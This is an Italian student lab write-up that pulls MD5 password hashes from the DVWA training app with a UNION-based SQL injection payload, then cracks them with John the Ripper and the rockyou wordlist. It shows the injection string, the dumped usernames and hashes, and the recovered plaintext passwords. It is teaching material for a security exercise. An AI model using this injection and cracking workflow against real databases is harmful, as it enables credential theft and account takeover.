

CRACKING PASSWORD

Il lavoro da svolgere prevede di decriptare gli hash delle password che abbiamo trovato nella SQL injection di DVWA.

Il tool di cracking utilizzato è 'John The Ripper'

La traccia è la seguente:

Se guardiamo meglio le password, della lezione precedente, non hanno l'aspetto di password in chiaro, ma sembrano più hash di password MD5. Recuperate le password dal DB e provate ad eseguire delle sessioni di cracking sulla password per recuperare la loro versione in chiaro. Sentitevi liberi di utilizzare qualsiasi dei tool visti nella lezione teorica. L'obiettivo dell'esercizio di oggi è craccare tutte le password.

La prima azione sarà quella di riprendere le password criptate sul sito tramite il comando "UNION".

Home

Instructions

Setup

Brute Force

Command Execution

CSRF

File Inclusion

SQL Injection

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

DVWA Security

PHP Info

About

Logout

Vulnerability: SQL Injection

User ID:

Submit

ID: ' UNION SELECT user, password FROM users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ' UNION SELECT user, password FROM users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: ' UNION SELECT user, password FROM users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ' UNION SELECT user, password FROM users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ' UNION SELECT user, password FROM users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

More info

<http://www.securiteam.com/securityreviews/5DP0N1P76E.html>
http://en.wikipedia.org/wiki/SQL_injection
<http://www.unixwiz.net/techtips/sql-injection.html>

Copiamo solo le password e le salviamo sul desktop, inserendole in un nuovo documento che chiamiamo 'pp.txt'.

Utilizziamo il comando

`john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 ./Desktop/pp.txt` e successivamente scriviamo la directory interessata; per decriptare le password dobbiamo inserire il formato md5 che ci servirà per convertirle. Siamo riusciti a trovare 4 su 5 passwords. Per farci mostrare tutto il contenuto (come suggerito nella penultima riga) usiamo `--show --format=raw-md5` e vedremo cosa ci restituirà.

```
(kali㉿kali)-[~]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 ./Desktop/pp.txt
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
password      (?)
abc123         (?)
letmein        (?)
charley        (?)
4g 0:00:00:00 DONE (2024-02-28 09:18) 133.3g/s 102400p/s 102400c/s 153600C/s my3kids..dangerous
Warning: passwords printed above might not be all those cracked
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
```

Come si può vedere abbiamo trovato tutte le password.

```
(kali㉿kali)-[~]
└─$ john --show --format=raw-md5 ./Desktop/pp.txt
?:password
?:abc123
?:charley
?:letmein
?:password

5 password hashes cracked, 0 left
```